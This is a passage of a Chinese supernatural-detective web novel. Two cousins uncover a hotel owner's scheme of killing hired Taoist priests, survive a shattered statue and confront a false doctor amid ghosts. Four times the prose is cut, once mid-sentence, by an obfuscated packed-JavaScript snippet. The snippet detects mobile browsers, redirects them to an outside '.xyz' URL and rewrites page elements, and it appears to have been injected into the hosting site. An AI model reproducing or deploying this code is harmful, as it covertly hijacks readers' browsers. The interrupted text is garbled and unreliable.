在她们所接触的有关罗浮真君的故事里,她只是道教神话体系里一位给人类制造出梦境的神明,罗浮庙百分之八十的香火也都是那些爱做噩梦和犯癔症的孩童的家长进献的,跟女娲和盘古这些上古大神八竿子打不着关系。 然而场内的其他人却被他的情绪所感染,纷纷涌出兴奋的泪花,有的还从凳子上站起来,带动大家振臂高喊。 “伟大的真君!永远的母神!” “打到邪神!将一切献给罗浮真君!” 庄海月扶额道:“群体性迷失啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16000230|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 见时机已到,唐金麟从讲台下拿出一个巨大的红色箱子,上面写着三个字“功德箱”。 庄海月忍不住吐槽:“图穷匕见啊,但是这燕国地图是不是太长了点儿。” “信徒们,现在是我们向真君表现诚意的时刻,这些捐款将全部用来修建真君庙,我先来!”说着,他就将一叠厚厚的纸钞放进箱子,“让我们一边唱起颂歌,一起修行吧!” 话音刚落,全场的人纷纷一边唱歌,一边拿着钱涌向讲台,有的还怕自己落后,真把阶梯讲堂里的桌子当台阶了,直接踩着跑了下去。 报告厅内一时间群魔乱舞,宛如万圣节的街头,有恶鬼趁机寻找替身,有小鬼趁机骑在人的脖子上....... 庄辰岚踹开一只狐妖,拎起被撞倒的庄海月左闪右躲,跑出了讲堂。 站在门外向里面瞥了一眼,庄辰岚居然发现了刚才在电梯里遇到的那两个男人,他们并没有像其他人那样狂热,反而一脸烦躁的左顾右盼,像是在寻找什么。 庄海月理了理被挤乱的头发:“诈骗犯有命挣钱没命花,而且能把正教整成邪教的样子也是天赋异禀。” 庄辰岚拉起坐在地上的庄海月:“这屋里一半都不是人。” 庄海月腿一软又坐了回去:“什什什什么?!” 虽然不知道唐金麟能不能看到那些东西,但庄辰岚本能觉得他有问题。 回到房间,庄辰岚道:“请问你现在能开始了吗?” 庄海月道:“我卜卦习惯一个人,你在这看着我紧张。” “屁事真多。”庄辰岚留她在卧室,自己一个人去了客厅。 大约半个小时后,庄海月跑出来:“大功告成!” 她向庄辰岚展示游戏机屏幕,上面有数个卦象,庄海月说,她用的是大衍筮法。 “你用游戏机算卦?” “大衍筮法开盘很累的,用软件能省不少事,我只负责解卦就行。”庄海月道,“这软件还是林风帮我开发的,她编程可厉害了!” 管他怎么开怎么解,庄辰岚只要结果。 庄海月坐在对面的沙发上:“真是算出了不得了的东西啊。” 庄辰岚道:“别卖关子了。” “这酒店真话假话混着说——这里除了有人失踪,还有人死了。” “失踪的人死了?” “不,不是一拨人,死的是酒店请来做法的道士,至少二十个,最后都死了。” “哈?” 这消息太过劲爆,庄辰岚一时无法相信。 “卦象天雷无妄,六三爻无妄之灾,这些道士死得糊糊涂涂,很可能自己都不知道自己怎么死的。” “这么凶?” 庄海月摇摇手指:“并非厉鬼,而是人为。” “什么?” 庄海月露出得意的表情:“不过现在已经被我破案了,主犯是唐金麟。” 怎么做到一句比一句石破天惊的? “你等会儿,”庄辰岚道:“你说凶手是唐金麟?有什么证据吗?” 庄海月道:“证据就是我的卦象解卦后意为当地宅主,这个酒店的老板不就是唐金麟吗?” 庄辰岚有些难以信服:“据我所知卜卦的基础是概率论吧,拿这种东西定罪也太草率了。” 庄海月道:“你催着我算,算出来又不信,你想干嘛?” “……”庄辰岚道:“那他为什么要这么做?” “六二爻不耕而获,这些人的死对他有好处。” “什么好处?” “可以让他长生。” 长生殿这个名字原来是字面意思吗。 10.长生殿5 庄辰岚道:“难道客人失踪案也是他干的?” 庄海月道:“我也怀疑是这样,但是卦象否定了这个猜测,反而显示的是它们之间没有任何关联——想想也是吧,如果两件事都是他干的,那么顾客失踪案也会像道士死亡案一样没有人知道了,怎么可能还会有警察参与。” “那失踪案你能算出凶手是谁吗,失踪的人现在在哪?” “很遗憾没算出来,”庄海月蹙眉道:“而且奇怪的是,这个失踪案…我从来没见过这么乱的卦象,连受害者是否死亡都看不出来,就像缺少关键条件的数学题,根本没法解。” 庄辰岚决定先着力一件事:“那回到道士死亡案,唐金麟的杀人脱罪手法和作案时间你知道吗?” “道不可道尽,算亦不可算尽。” “…你直接说不知道就行了。” 前来降妖除魔的道士没有被宿敌鬼怪战胜,反而被委托人杀死,这也太匪夷所思了。 庄辰岚道:“你算的准不准?” 庄海月向后倒进沙发:“不信拉倒。” “慢着,”庄辰岚心中突然有了一个猜想:“长生殿请来的道士,肯定都是有真本事的吧。” 庄海月似是疑惑她为什么这样问,但还是回答道:“没错,以唐金麟的人脉,请来的肯定都是业内顶级人士。” 庄辰岚道:“刚才我在走廊看到的那些白色人影,它们周围有灵气环绕,如果他们生前是道行很高的人,那么就说得通了。” 庄海月喜道:“对啊!修炼程度很高的人,确实会有灵气护体!而且我刚才突然想起来,我之前认识的一个业内很厉害的老头,也是从光台回来后没几天就死了,我怀疑他是不是也来过长生殿。” “什么?你说他是回去后死的?”庄辰岚疑惑起来,那他们的灵魂为什么会在长生殿出现? “你这么一说,”庄海月思考道,“会不会有什么招魂法?” 庄辰岚摇了摇头:“不像招魂,更像是有什么法阵在镇压他们,因为那些灵体无法交流——海月,你能算出来这栋建筑里有没有法阵之类的东西吗?” “简单。”庄海月拿出游戏机操作了几下,然后说道:“还真被你说中了。” “不,应该是被你说中了。” 庄海月反应过来:“啊哈哈,都说我很厉害了,怎么样,现在相信本人卜卦的实力了吧?” 庄辰岚从沙发上站起来:“叫上方姐,赶快收拾行李走,偷偷的,别被发现。” “走?为什么?” “你说呢?”庄辰岚一边收拾一边说,“这里之前死过二十多个,说明他们杀人藏尸和脱罪洗白已经一条龙了,这种情况我们留在这里不是找死吗?” 庄海月道:“如果我们不解决,还会有更多无辜的人死去的。” “哈?”庄辰岚好像听到了什么天大的笑话,“我管他们呢,他们死不死,关我什么事,再说你就能保证自己能解决吗,到时候不仅救不了别人,还把自己搭上了,现在最应该做的是报警好吗。” “我们没有证据。” “你有点太小看专业刑警了,到时候他们来搜查,酒店这么多人,肯定会有人露出马脚的。” “你刚才自己都说他们脱罪洗白一条龙了,说不定他们跟警察都有关系。” 庄辰岚察觉自己被她绕进去了:“那我就什么都不管了,只管走我自己的,毕竟我可是个极致的利己主义者,别人怎样,跟我无关。” 还没去到中大,还没过上热爱的生活,还没实现自己的梦想,如果稀里糊涂的死在这里,这也太蠢了。 对方好一阵沉默,庄辰岚还以为她回心转意了。 “你是不是还欠我钱…” 庄海月幽幽道。 庄辰岚开门的动作一僵:“…我又没说不还你。” “你去年借我的钱也还没还。” 糟,庄辰岚还以为她早就忘了。 她心虚道:“什么时候的事儿啊…” “少装傻。” “哦记起来了,”庄辰岚道:“回头还你。” “回头就还是吧,那你现在就给我回头!” 说着,庄海月就去掰庄辰岚的脑袋,两人在门口乱成一团。 “别闹了,这里有监控你知不知道?” 就在这时,房间内突然传来“叮咚”一声。 “啊啊啊——” 庄辰岚看着挂在自己身上的庄海月:“只是门铃响。” 庄海月弱弱道:“我现在有点敏感。” 刚才装的云淡风轻,其实心里已经怕的要死了。 庄辰岚问道:“谁啊?” 没人应答。 她透过猫眼,看到门外站着一个陌生的男人,他佝偻着身子,眼神左顾右盼。 “喂,你来看下这个人你认识吗?” “我不看我不看我不看,”庄海月连连后退,“我最怕看猫眼了,这玩意儿就是反人类,明明自己是观察的一方,却总有一种被对方拿捏的感觉,而且从猫眼看人还会扭曲,你知道会对我造成多大的伤害吗!” 庄辰岚道:“那我给你描述下?” “不用,我算一卦吧。” 庄海月抛出两枚铜钱,观察片刻后道:“不认识。” 庄辰岚打开了房门。 “啊啊啊你怎么就开门了——” 门开后,外面的男人并没有进来,他站在门口看了看门牌号,一副找错房间的样子。 他不确定的问:“你们是酒店请来做法事的吗?” 庄辰岚点了点头。 “不好意思,看着有点不像啊。”男人走进来,顺手关上房门。 他压低声音道,“听我一句劝,你们快走吧,这地方凶啊,之前请过好几个大师,回去之后就都横死了。” 庄海月朝庄辰岚挑了挑眉,一副“我算的没错吧”的表情。 庄辰岚道:“这么凶你还住这儿?” 男人没有说话。 庄海月道:“大叔,你怎么知道这些的?” “我怎么知道的,我就住隔壁!这酒店请来的大师都住这间房,我加了他们微信,所以他们的情况我也都知道,他们从这儿出去后,不出几天就全都死了,光我知道的,就得有十好几个。” 庄辰岚道:“你认识的人失踪了?” 男人震惊道:“你怎么知道?” “猜的,这里不是发生过失踪案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009279|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 男人道:“其实我是那些家属请的侦探。“ 庄海月道:“哇塞,看不出来啊。” “你俩也看不出来是道士。” 庄海月道:“家属不是都拿过赔偿了吗?” “他们都是被逼的,”男人气愤道,“这个酒店恶的很,人家家属来要说法,他们就找人恐吓殴打,回家后还派人监视,警察也不管,他们都是一伙的,现在他们都进了这个酒店的黑名单。” 庄辰岚问:“你都查到了什么?” 男人叹了口气:“哪有这么好查,我现在就只查到他们一直在偷偷请道士做法。” 说完,男人就打开门往外走,他突然像是想到什么:“我寻思你们道士应该知道点什么,这酒店的18层不对劲,那整整一层都不开灯,黑咕隆咚的,我听着还有念经的声音,别是在搞什么邪教吧。” 庄海月道:“老板不是信罗浮真君吗?” “这也太走火入魔了吧,我认识的朋友也信罗浮真君,人家就不这样。” 庄海月道:“具体情况我们也得亲眼见见才能判断。” “好吧,刚才那件事,信不信由你们,我仁至义尽了,你们保重。” “好的哦,谢谢大叔,拜拜。” 庄辰岚把门关上,看向庄海月:“你还要留下吗?” 庄海月还是笑嘻嘻的样子:“侦探大叔说的18层就是法阵所在地,我刚才没来得及告诉你。” 看庄辰岚不说话,庄海月道:“下次不要随便给陌生人开门了,多危险啊。” “哪里危险?” “哪里都危险啊!万一他是人贩子或者变态杀人狂呢!” “他们打不过我。” 庄海月瞬间了然,这人的绝对武力已经逐渐让她忘记普通人的恐惧了。 她用自己才能听到的声音吐槽道:“怪物啊...” “总之呢,”庄辰岚道,“我先告辞了。” “慢着,”庄海月道,“只要你留下来,之前的欠款,一笔勾销。” 庄辰岚抓向门把的手悬在半空。 她内心挣扎了好一会儿:“不...不行!我回去后还你!” “哇,好挣扎啊,”庄海月似乎十分乐于看到她这副样子,“那,一笔勾销之后再给你一万块。” “乐意效劳。”庄辰岚道。 她嘴比脑子快,说完才反应过来——“等等,你哪来的钱?” 庄海月家虽说有钱,但庄辰岚记得年依阿姨是不轻易给她花的。 “当然是我自己赚的,”庄海月把手机举到她面前,“我休学之后就在当游戏区up主。” 庄辰岚看着她的账号界面,id为“进京の魔王”,居然有一百万个粉丝! 庄海月得意的笑道:“既然你已经选择留下了,那么——”她拍了拍手:“长生殿小分队就此成立!鼓掌!” 庄海月自顾自鼓掌,庄辰岚一脸心如死灰:“我留下来有什么用?你告诉我该怎么赢?” “会赢的。” “...你知道上一个说会赢的是什么下场吗?” 庄海月叉起双手:“实话告诉你吧,我就是black neko。” 11.长生殿6 “......” “哈?!” 虽然庄辰岚今天已经听过无数石破天惊的话了,但还是没有这一句让她如此震惊。 那个神龙见首不见尾的天才侦探,那个无数人想破了头也无法得知其真正面目的神秘高人,居然就站在自己面前,居然就是自己发小?! 庄辰岚从牙缝里挤出几个字:“真,的,吗?” “如假包换。”庄海月从行李箱里掏出一个头套——一个黑色卡通猫脸头套。 庄辰岚道:“这头套很多地方都有卖的,你怎么证明这就是正版?” “挺谨慎的嘛,该说不愧是岚岚。”庄海月又掏出一个相机,“那就看这个——这里面有我参与过的案件的所有照片资料。” 庄辰岚接过相机,随着翻过的照片越来越多,她觉得这事十有八九是真的。 “方姐知道吗?” “不知道,不然那个大喇叭早对外宣扬了。” 看完所有照片,庄辰岚判断它们都是绝密的,非核心人员无法拿到,庄海月没有说谎,她就是black neko! 怪不得方不圆会知道“black neko是玄学业内人士,破案靠术数”这种超级八卦,感情她师父就是black neko本人啊! 庄辰岚内心一时五味杂陈,这既视感宛如昨天还穷得一起掏垃圾的姐妹突然摇身一变成了世界首富。 “相信我吧,我会解决这里的事情,让大家都平安回家的。”庄海月的眼睛亮亮的,“岚岚,我骗谁都不会骗你的。” 庄辰岚看着她真挚的眼神,心中莫名涌起一阵奇怪的感觉。 她道,“礼尚往来,我也告诉你一件事。” “什么事?” “也不是什么大事,就是我当过阴差。” “啊?!” 庄海月睁大眼睛,一副石化的模样:“阴差?是我想的那种阴差吗?” 庄辰岚点了点头。 庄海月双手抓住庄辰岚的肩膀前后摇晃:“你真的去过人死后的世界?人死后的世界是什么样的?!” “进鬼门关,过奈何桥,走黄泉路,跟传说里说的差不多,但是现在这些地方还蛮现代化的,有网络和二维码。” “为什么是地府而不是天堂或极乐世界?” “这种事情我怎么知道啊。” “呜哇,那孟婆和黑白无常也存在吧,长的怎么样,好看吗?长得帅吗?有照片吗?” “没有照片。” “下次记得拍张照!” “没有下次了,我已经被开了。” “啥?” 庄海月沉默片刻,道:“岚岚,你知道我现在是什么心情吗?” 不等庄辰岚回答,她就自顾自往下说:“我很失望,我们被死亡背叛了啊,人死后有灵魂,还要去另一个世界,那死亡到底还算不算死亡,连死后都得不到自由,这简直没完没了。” “而且你不觉得害怕吗,这么精密的系统,是自然形成的吗,如果不是,那又是谁…” 庄辰岚敲敲她的头:“别想太多了,明天还要干活呢。” 庄海月说的这些她自己也都想过,只是越想,脑袋就越疼,仿佛有什么要从头顶钻出来一样,冷气从心脏蔓延全身,整个人止不住的发抖。 庄辰岚莫名想起古月虫的个性签名——“热爱你无聊的日常吧,你完全不知道它有多珍贵。” 庄海月突然反应过来:“这么说你真的要留下了?” “嗯。” 庄海月一个飞扑过来:“岚岚!你最好了!我爱死你了!” 庄辰岚被撞得一个趔趄:“好痛!你身上什么东西啊,硌死我了。” “不好意思,是我的铜钱罗盘鲁班尺,拂尘宝剑游戏机。” “什么玩意儿,你哆啦○梦吗?” —— 第二天早上九点,白玉罗浮真君像前已经摆好了八仙桌。 被兴奋又好奇的庄海月硬扯着讲了一晚上走阴故事,今天早上两人眼下都出现了明晃晃的黑眼圈。 庄海月小声道:“今早我又算过一次,凶门在水宫,这里唯一的水就是做法用的那杯酒,我推测他们会在酒里下东西,所以提前换了一杯。” “居然能算到这一步吗?” 这不相当于把作案手法都解决了,怪不得black neko能迅速解决那么多悬案,这技能简直太开挂了。 庄海月骄傲道:“一般人是算不出来的,不过我可不是一般人,我敢说,能到本人这个水平的,全世界不会超过三个。” 庄辰岚道:“万一他们有b计划呢?” “他们提出的任何要求都等我算完再回应,就像回合制游戏一样,他进一步,我就占一步,我们一步步解决,总之我已经有计划了,到时候听我安排,肯定没问题。” 说完,庄海月递过一个蓝牙耳机:“带上,当对讲机用,小方也有一个。” 庄辰岚再次确认道:“方姐知道这些事了吗?” 庄海月道:“我办事你放心,今早她起床我就全告诉她了。” 事到如今也只能相信她了,只是没想到惜命谨慎又没庄辰岚那么缺钱的方不圆居然会答应她这个冒险的要求。 庄辰岚打起十二分精神,警惕地看着前面站成一排的酒店人员。 站在正中央的是唐金麟,他看到庄辰岚和庄海月似是非常惊喜,打了个招呼,看不出什么破绽。 旁边的就是昨天见过的元秘书,另外几个陌生的面孔,大概率也是酒店的高管。 唐金麟走过来向方不圆微笑道:“大师,大厅这里的塑像就是个摆设,而且人多口杂,我还是建议换个地方,要不去我办公室吧,我平时在那里供奉。” 方不圆刚要答应,耳机里传来庄海月的声音:“别答应,找个理由拒绝。” 方不圆赶紧糊了个理由:“啊这,咳咳,我能感受到你办公室里有非常干净的磁场,但大厅是酒店主位,而且这里的塑像虽未接受过你的供奉,但被来来往往的客人膜拜后灵性已通,不输您经常供奉的那座塑像,由此观之,在此开坛,方为上策啊。” 庄海月的声音从耳机里传来:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16014051|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小方你还挺会编。” 唐金麟犹豫道:“可是之前有高人说,必须要在我办公室的那座金身塑像前,你看这……” 方不圆似是懒得编了:“就在这办。” 唐金麟思索一会儿道:“术业有专攻,我们还是听大师的。” 他接着道:“只是这里人流量太大,我们把这里用警戒条封起来吧。” 庄海月道:“可以。” 方不圆于是也说:“封封封,没问题。” 酒店的办事效率出奇的快,马上红色和黄色的警戒条就将法场围住了,旁边还立了块牌子,上面写着“除旧迎新,合法迎神”。 庄辰岚总觉得有一种此地无银三百两的味道。 有不少好奇的顾客站在楼上走廊的栏杆处向下张望,有的还掏出手机录像,但马上被各个楼层巡逻的警卫制止了。 方不圆按原计划开坛做法,她身穿明黄色法衣,带着莲花冠,手拿龙泉剑,步伐稳健,目光炯炯,就算是对她知根知底的庄辰岚,乍一看也真以为她是龙虎山的大师。 这年头连骗子都这么拼命。 桌子上燃着十二支蜡烛,方不圆拿起龙泉剑,闭眼开始踱步,口中念念有词。 她用剑挑起一张黄符,将它伸到香火中点燃,然后喊道:“天罡,地靈,七星照顶,太极阴阳化作二神,听我差遣…” 符纸越烧越旺,方不圆把它挑在剑端左右摇摆:“使汝上天,与吾上天,使汝入地,与吾入地…” 她将三指插入酒杯,把手指带出的酒液洒在蜡烛上,最后又将杯中剩余的酒一饮而尽:“蓬莱仙洞,真仙来到吾前!” 话音刚落,桌上十二根蜡烛的火焰“呼”得一下燃高,在场所有人都发出一声惊呼,随后,白玉塑像咔嚓一声从中间裂开了。 一人指着罗浮像喊道:“快看!神像,神像怎么裂了?!” 话音刚落,在众人震惊的目光中,罗浮真君背后的手臂哗啦啦如玻璃一样碎成千片万片。 唐金麟被元秘书护在身后,冲方不圆喊道:“大师,这是怎么回事啊!” 方不圆没有答话,只是静静的站在原地。 庄辰岚喊道:“方姐,你没事吧?” 没有回应。 庄辰岚冲到她面前,瞳孔骤缩:只见方不圆翻着白眼,口吐白沫,表情极度扭曲。 她朝背后喊道:“庄海月!怎么回事?!” 庄海月木头一样站在原地,表情甚是奇怪,像是被吓傻了。 庄辰岚想,难不成是庄海月换的酒又被酒店二次掉包了? 方不圆直愣愣地往后倒,庄辰岚眼疾手快将她扶住,楼上看热闹的客人有的尖叫着跑开,有的拿出手机录像,各楼层的警卫一边制止拍摄,一边忍不住往法坛这边瞟,整个酒店顿时乱作一团。 唐金麟试图上前查看情况,庄辰岚则本能的将斧头从背后的书包中抽出来阻止他靠近。 然而,就在她抽出斧头的瞬间,整个酒店突然剧烈摇晃起来,罗浮真君像终于支撑不住,她整个倒下,朝庄辰岚和方不圆所在的方向压下来。 12.长生殿7 眼看巨大的神像就要把两人压成肉饼,庄辰岚立刻扔出斧头,抱着方不圆在地上翻滚,勉强躲过。 不知道是谁喊道:“地震了!快跑啊!” 然而此时他们连站都站不稳,纷纷跌坐在了地上,极少数还能维持平衡的人扯开那些警戒线,不顾一切的往外冲,大厅豪华的吊灯左摇右摆,一副随时要掉下来的样子。 唐金麟在混乱中喊道:“客人们,不要慌,酒店能抗十级地震!” 然而他的提醒没有丝毫作用,在尖叫声与碎裂声中,一个穿着黑色西装的高大男人气喘吁吁地跑过来,冲唐金麟喊道:“老板,你的办公室…”他瞅了一眼在场的人,止住了声音。 “怎么了?我的办公室怎么了?你倒是说啊!” “老板,你办公室突然爆炸了。” “什么?!”唐金麟看起来都快哭了,急匆匆就要往办公室赶。 庄辰岚捡回斧头,将它横在唐金麟面前:“别走!打120!” 元秘书看了一眼唐金麟:“我已经打了。” 沉默许久的庄海月此时终于开口了:“岚岚,你和小方去医院,我跟着唐金麟去他办公室,他办公室就在18层!” “你还是快滚回家吧。” 庄海月道:“这是我造成的,一人做事一人当,我一定要解决。” 救护车的声音很快响起,庄辰岚突然想起圣佑医院就在长生殿旁边,也算是不幸中的万幸了。 医生和护士从车上小跑下来,将方不圆抬上担架,庄辰岚跟着医护人员上了车,她不知道该对庄海月说一声“保护好自己”,还是骂一句“你真是魔怔了”,于是索性什么也没有说。 医生给方不圆上了呼吸机和心脏起搏器,她的情况逐渐好转起来,庄辰岚刚松了口气,就听见头顶传来咚的一声。 她问车里的护士:“地震还没停吗?” 护士一脸茫然:“什么地震?没感觉到啊。” 这么大的地震,怎么会没有感觉? 庄辰岚追问:“就在刚才,五分钟之前。” 护士还是否认:“没感觉。” 一位医生突然插话道:“我知道怎么回事,刚进酒店的时候确实有点晃,但是出去后就一点感觉都没有了,就好像只有酒店里发生了地震一样。” 听完这话,庄辰岚想起西装男人所说的唐金麟办公室里的异样,难道地震是因为办公室的爆炸引起的? 救护车到了医院门口,一群医生飞奔过来接应,刚一下车,方不圆就又呼吸急促,翻起白眼来。 医生扒开她的眼皮,骑坐在她身上开始心肺复苏。 旁边的护士朝庄辰岚喊道:“你是患者的谁,你倒是喊喊她啊。” 于是庄辰岚弯腰趴到方不圆旁边喊道:“方姐!醒醒!” 护士急了:“你这喊的也太没感情了,能不能大声点儿,拿出班主任喊睡觉学生的架势。” “行了别喊了,”旁边的医生道,“马上进急救室了。” 急救室“手术中”的灯光亮起,庄辰岚坐在门口的椅子上,她曾在电视剧里看过类似片段,没想到今天自己成了主角。 昨天还活蹦乱跳的人,怎么今天就进急救室了?如果她真的死了,自己需要赔钱吗?等等,方姐有亲人吗?如果有的话,应该关系不好吧,不然她怎么会去当骗子呢,如果没有的话,自己是不是就不需要赔钱了?真是的庄辰岚,你怎么老钱不钱的,如果方姐真的死了,自己会伤心吗?大概率是不会吧,毕竟庄辰星死后自己可没掉眼泪,难道我是冷血动物吗?但是外公和母亲死后,自己可是难过了好久,但是庄辰星不也像母亲和外公一样从小陪着自己吗? 她又突然觉得现在应该给庄海月打个电话,两人的蓝牙早就断开了,庄辰岚拨打了她的电话。 “嘟嘟嘟…您所拨打的用户暂时无法…”庄辰岚烦躁地挂断电话,真是的,一个个都不让人省心。 她注意到护士站的几个护士一直在往这边看,然而庄辰岚已经没有余力应付她们了,只当做没看到。 等又不知道等多久,回酒店又回不去,想睡觉又精神紧绷睡不着,给庄海月打了无数个电话也不接,这种糟糕的体验,庄辰岚这辈子不想经历第二次了。 无事可做,她就把斧头往书包里塞了塞,只露出半截手柄,不仔细看还以为是网球拍。 护士给她递过来一杯热水,突然出现的手把精神紧绷的庄辰岚吓了一跳,她接过杯子,水的温度通过纸杯从她的掌心传向全身,庄辰岚稳了稳心神,说了句谢谢。 护士道:“你是患者家属吧,你放心,给那位小姐做手术的是我们院长,他一般不做手术,但是只要一做就没有不成功的,你放一百个心就好了。” 庄辰岚打起精神:“意思是抢救成功率百分百吗?” 护士笑道:“没错,就是百分百,不骗你,你随便找这个医院的人问一问宋时明院长,没有人不知道的。” 终于有个好消息了,庄辰岚想,是那个元秘书出面才被安排了这么厉害的医生吗。 就在这时,急救室“手术中”的灯光灭了,医生走了出来,庄辰岚赶紧迎上去,只见他的胸牌上写着“宋时明”三字。 宋时明带无框眼镜,有着弯弯的桃花眼,他脱下手套和口罩,露出一张清秀的脸。 “恭喜,手术很成功,患者过几天就可以出院了。” 护士高兴的跳了起来:“你看,我就说吧,成功率百分百!” 庄辰岚松了一口气,现在就只需要去解决庄海月那边了。 方不圆躺在病床上,被几个医生护士推了出来。 庄辰岚走上前,待看清方不圆唯一露在外面的脸时,她刚松的一口气又提了起来,不仅如此,一股冷气沿着脊椎直接冲向她的天灵盖——这种感觉,跟第一次见到庄辰星尸体时的那种诡异感觉一模一样! 庄辰岚猛地冲到病床边,把手撑在方不圆脑袋两侧,死死盯着她的脸,出乎意料的是,这种诡异的感觉不仅没有消失,反而愈演愈烈,方不圆的脸在她眼中逐渐变形,最终竟变成了一滩泥巴。 庄辰岚逼停这些推动病床的医护人员,质问道:“你们做了什么?!” 这群看起来十分年轻的医护人员面面相觑。 庄辰岚把方不圆身上的被子一把扯下来,现在她的整个身子都变成了泥巴,好像她整个人都是被泥捏起来的一样。 医护人员被庄辰岚的行为吓了一跳,几个人一拥而上前来阻止:“这位家属,你这是干什么?!” 庄辰岚不再理会这些人,她转而对宋时明喊道:“别以为我看不出来!” 宋时明的眼神闪过一丝恐慌,但随后又立即冷静下来:“这位家属,患者现在需要休息,我们现在要把她推到病房,你有什么事,我们等患者稳定之后再说好吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022322|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是一个善解人意的好医生啊。 刚才给庄辰岚倒水的护士也拦着她道:“院长说得对,你这个时候闹什么啊,你不想让她好起来吗?” 庄辰岚指着病床问道:“你看看这是什么。” 护士不解道:“这,这是患者啊,还能是什么?” 看来还是只有自己能看见。 急救室的走廊原本鲜为人至,这会儿却仿佛成了菜市场,还有人拖着吊瓶都要来看热闹。 “这是医闹吧。” “哪来的疯子,医生好可怜啊。” “不会是没抢救过来吧,医生也尽力了,干嘛拦着人家不放。” 庄辰岚脑子转得飞快,把真相说出去肯定没人信,说不定还会被当成神经病抓起来,但如果现在放任他们离开,就又失去了直接证据。 到底该怎么办? 宋时明朝身后的医护人员喊道:“愣着干什么,还不快把患者送到病房。” 年轻的医护人员赶紧手忙脚乱的开始操作。 庄辰岚用脚抵住病床的轮子:“不许走!” 她从身后抽出斧头,飞快的砍向躺在病床上的“方不圆”,临近的医护人员顿时吓得尖叫起来。 “方不圆”的头掉下床,咕碌碌滚到墙边。 宋时明大喊道:“疯子!有疯子啊!警卫!警卫呢!” “有鬼啊!” 一个护士睁大双眼,颤抖着指向病床,随着她手指的方向看去,大家都发现,病床上哪还有什么患者,只剩下一滩稀泥了,于是就都跟着大喊道:“有鬼啊!有鬼啊!” 这些可怜的医护人员还没从家属砍人的惊吓中缓过神来,又被突然化成稀泥的患者冲击,纷纷尖叫着跑开了。 周围的人们这才意识到要命的热闹不能看,也纷纷四散而去。 宋时明脸都绿了,眼看形势不对,他趁着混乱偷偷移动脚步。 庄辰岚迅速抓住他的衣领,将他的手反剪在背后,宋时明的脸压在病床上,原本一丝不苟的头发也胡乱的散在额头。 庄辰岚喝问道:“人在哪?” 宋时明还在挣扎:“这里有人医闹!警卫呢!养你们干什么吃的!” 几个穿着警卫服的高大男人终于来了,他们拿着警棍朝这边跑来。 宋时明顿时来了底气,冲庄辰岚骂道:“你这个神经病,赶紧放开我!信不信我把你关监狱里一辈子!” 骂完庄辰岚,他又朝警卫吼道:“动作快点!你们是吃白饭的!怎么才来!” 警卫们被老板一催,跑得更急了,宋时明勾起嘴角,然而下一秒,他就笑不出来了。 他看见这些人高马大的男人突然被压向四面八方,有的趴在墙上,有的躺在地上,有的甚至被吊在房顶。他们挣扎着,仿佛被什么看不见的东西压着起不了身。 而在庄辰岚眼中,这些警卫身上都压着一只黑发红衣的女鬼,她们抓着警卫的指甲如鹰爪一般尖利,伸出的手臂如石膏一般死白,上面布满黑色与蓝色的血管。 诺大的走廊顿时冷如冰窟,只剩下警卫痛苦的呻吟和厉鬼桀桀的冷笑。 就在此时,所有人都听见了远处传来的脚步声,游刃有余,毫无规律,仿佛少年的闲庭信步。 急救室走廊的地板是白的,墙壁也是白的,白到发蓝,蓝到发绿,鞋底与地板摩擦的声音就在此处回荡: “嗒,嗒,嗒,嗒……” 13.长生殿8 脚步声在空旷的走廊里回响,庄辰岚不禁攥紧了手中的斧头。 宋时明仿佛再也忍受不了了,他使出全身力气挣脱庄辰岚,疯了一般往外跑。 庄辰岚暗道:蠢货! 他似乎吓坏了,双腿使不上劲,跑得一瘸一拐,没跑几步就被同样的红衣厉鬼掐住脖子,按在了墙上。 庄辰岚看向走廊的尽头,脚步声的主人此刻就站在那里,由于背光,庄辰岚只能看见他黑色的剪影:杂乱的长发,身材很高。 剪影继续往前走,发出戏谑的笑声:“呦,这么热闹。” 一股纯正京都口音。 